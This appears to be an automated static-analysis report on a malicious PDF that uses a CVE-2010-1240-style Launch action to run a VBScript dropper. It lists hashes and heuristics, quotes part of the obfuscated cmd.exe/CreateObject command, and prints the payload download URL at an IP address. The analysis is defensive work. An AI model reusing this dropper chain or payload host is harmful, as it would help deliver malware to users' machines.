Malicious PDF — malware analysis report

Static analysis result for SHA-256 189584783b81f6cc…

MALICIOUS

PDF

5.0 KB
MD5: db471a6a8450a594f9c70695274c26f7 SHA-1: 4b9beb20fa2b7f1f10edf949b8aef2ce7e57132d SHA-256: 189584783b81f6ccc421d0bccc31e2f4c7eb129245361964f0b5f8afbb651911
232 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The PDF file contains an embedded JavaScript payload that leverages a PDF launch action to execute a command. This command downloads a VBScript file from 'http://79.135.152.199/a/tmp/m.vbs' and saves it as '%TEMP%\m.vbs', which is then executed. This indicates the file is designed to act as a dropper for further malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9129

Heuristics 6

  • Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER
    PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject\(StrReverse\("PTTHLMX.2LMXSM"\'.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://79.135.152.199/a/tmp/m.vbs
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#
    • http://ns.adobe.com/xap/1.0/
    • http://purl.org/dc/elements/1.1/
    • http://ns.adobe.com/xap/1.0/mm/

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_000002ad.bin
1f70abf906af507f3ba21d2291eeb7c1b9dcf4b049a6b1f746b4abbf69c4d1e9		 pdf-embedded-script PDF decompressed stream script payload at offset 0x2AD 468 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).

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